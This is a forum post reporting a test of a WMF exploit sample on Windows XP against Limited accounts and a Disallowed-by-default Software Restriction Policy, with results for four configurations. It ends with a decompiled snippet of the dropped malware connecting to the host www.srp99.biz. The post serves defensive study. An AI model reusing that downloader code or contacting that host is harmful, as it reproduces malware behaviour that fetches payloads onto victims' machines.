http://www.antisource.com/download/wmf_test.wmv
The point of the video is to deliberately run a WMF Exploit attack on a WindowsXP Service Pack 2 computer that is not protected by Data Execution Prevention, or antivirus software, or any other countermeasures specifically designed to stop the WMF Exploit from occurring. I want the exploit to occur, and then see if either of the following two protective measures (or both at the same time) can prevent it from accompishing its goal. Remember that this is just one individual sample; other WMF Exploits might have altogether different payloads and methods. The exploit file is named 101.WMF.
The two protective measures that are tested in the video are
1) the use of a Limited user account rather than an Administrator-class account (this would be called a Restricted User account if the computer were a member of a domain, or if it were a Windows2000 computer)
2) the use of WindowsXP Professional's Software Restriction Policy in a Disallowed-by-default configuration. SRP is configured using gpedit.msc on a standalone system, or could be configured using a Group Policy Object in an Active Directory domain.
I tested with all four permutations of these two (Limited + DbD SRP, Limited - DbD SRP, Admin + DbD SRP, Admin - DbD SRP).
The video is about 26 minutes long, so get some snacks
I apologize for the obvious lack of a complete gameplan when doing this video, but I didn't know what to expect and had to ad lib. The last couple minutes are basically worthless, I try to run the exploit again but don't get any results. edit: by the way, if it looks as if I forgot how to double-click a mouse...? When Windows Media Encoder is running, double-clicking usually doesn't work. It's not lack of CPU power, even my dual-core rig exhibits that.
In the video, I have logged on as a Limited user, but I have a command-prompt shortcut on the desktop screen that runs at Administrator level. When you see me use the command prompt to launch Internet Explorer to trigger the exploit, IE is being run at Administrator level, allowing the exploit to run with Admin-level powers as well.
This particular WMF Exploit, which had a filename of 101.WMF, tries to place a 14kb file named n.exe on the C:\ directory. An unknown chain of events then occurs, and then another file named megt1.exe is placed on the Desktop screen of the user whose account has been exploited. megt1.exe appeared to have been downloaded from the Internet, and xtknight (who got me the WMF Exploit file) disassembled it and found code that would seem to support that (I'll attach it at the bottom of this post).
Facts about the two defensive measures
The Disallowed-by-default Software Restriction Policy only allows programs to be executed if they meet the rules specified in the Additional Rules list. These can be several types (directory path, hash, Internet zone or certificate). By default, if you enable the Disallowed-by-default mode, there are rules to allow normal operation of stuff in the Windows and Program Files directories, but nowhere else. More rules can be added as desired. The SRP can apply just to non-Admins, or to all users. I applied it to all users for this test.
The Limited user account can't write to the root directory C:\, or the Windows directory, or the Program Files directory. It's limited in what it can do with the Registry, and it will not be able to stop or start services as far as I'm aware of.
Now. If you compare the places the disallowed-by-default SRP allows execution from, and the places a Limited account can write to, you see that they're mutually exclusive of each other. Also, Limited can't write files to the root of C:\, and Disallow-by-default SRP forbids executing from the root of C:\.
So if both countermeasures are used at the same time, then you can see where this would put the exploit in a Catch-22 situation. If it can write someplace, it won't be able to execute what it wrote. If it can execute from somewhere, then it won't be able to write files there. And with both Limited and disallowed-SRP at the same time, the root of C: would be a double impossiblity. Now, this does assume that the exploit only gains the privilege level of the user, and not SYSTEM-level privileges. Microsoft says it only gets user-level privileges in their security bulletin, under the Mitigating Factors section.
Here are my results in the four configurations that I tested, to save you having to watch the video:
1) Limited account with disallowed-by-default SRP The exploit runs but cannot place n.exe on the C: directory. The exploit has run, but cannot deliver its payload.
2) Limited account with a non-restrictive SRP, the equivalent of no SRP at all The exploit runs but cannot place n.exe on the C: directory. The exploit has run, but cannot deliver its payload.
3) Administrator account with a disallowed-by-default SRP The exploit succeeds in placing n.exe on the C: directory, but SRP prevents it from being executed (as shown by the Event Viewer logs). The exploit has run, but cannot deliver its payload.
4) Administrator account with a non-restrictive SRP This is what you get if you install Windows and go with the default configuration. This is how most home computers are set up. The exploit runs, it succeeds in placing n.exe on the C: directory, it executes it, unknown things happen next, and then megt1.exe has appeared on the Administrator account's desktop (note, not the Limited account's desktop) and has been executed. This time the exploit has run and has delivered its payload.
The post-mortem scan with McAfee and Kaspersky scanners revealed several malwares that would've been identified if antivirus had been installed. I will try to update this with exact names in a few hours, I'm not at home with the test system right now
Conclusion In this particular instance of WMF Exploit, either a Limited account or a disallowed-by-default SRP would stop the attack. A better-designed attack would've succeeded in scenario 3 if the attack files were dropped to someplace where an SRP wouldn't stop them from being executed, and with Admin privileges the exploit would be allowed to write them to somewhere that an SRP would allow execution from. So the safest approach would be to use both measures at once.
Using a Limited account also deprives the exploit of the power to re-register the vulnerable .DLL file, to disable antivirus software's services, to tamper with important sections of the Registry, to uninstall patches... in short, it is deprived of the power to tear down the defenses you've put up. There are some drawbacks and annoyances to using a Limited or Restricted-User account, and I have a few tips that could help home users with these on this page. There are some more tips at Spywareinfo.com here: Surf more safely with any browser and More ways to surf safely.
xtknight's code sample follows, thanks bro!
- Code: Select all
// one subroutine
void x()
{
HINTERNET hi;
/*.text:00401190 sub_401190 proc near ; CODE XREF: sub_401200+4Ap
*.text:00401190 ; sub_4012D0+Ap
*.text:00401190
*.text:00401190 var_2C = dword ptr -2Ch
*.text:00401190 var_10 = dword ptr -10h
*.text:00401190
*.text:00401190 push 0 ; DWORD dwFlags: NULL
*.text:00401192 push 0 ; LPCTSTR lpszProxyBypass: NULL
*.text:00401194 push 0 ; LPCTSTR lpszProxyName: NULL
*.text:00401196 push 0 ; DWORD dwAccessType: INTERNET_OPEN_TYPE_PRECONFIG
*.text:00401198 push offset aSrp99v1 ; "SRP99V1" ; LPCTSTR lpszAgent: L"SRP99V1"
*.text:0040119D call ds:InternetOpenA
*/
hi = InternetOpenA(L"SRP99V1",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,NULL);
//Initializes an application's use of the WinInet functions.
//Uses IE proxy settings
//User agent: SRP99V1
/*.text:004011A3 test eax, eax
*.text:004011AA loc_4011AA: ; CODE XREF: sub_401190+15j
*.text:004011AA mov ecx, [esp+4]
*.text:004011AE push 0 ; no callback context
*.text:004011B0 push 0 ; no flags
*.text:004011B2 push 3 ; INTERNET_SERVICE_HTTP
*.text:004011B4 push 0 ; no password
*.text:004011B6 push 0 ; no username
*.text:004011B8 push 50h ; 80: www port
*.text:004011BA push ecx ; L"www.srp99.biz" most likely
*.text:004011BB push eax ; hi
*.text:004011BC call ds:InternetConnectA
*/
if (hi) InternetConnectA(hi,L"www.srp99.biz",80,NULL,NULL,INTERNET_SERVICE_HTTP,NULL,NULL);
//Did application obtain WinInet handle? Yes: call InternetConnect. No: ?
//Resolve unicode "www.srp99.biz" to IP address
//Do TCP/IP handshake on port 80
//No username/password needed
//Using HTTP service
}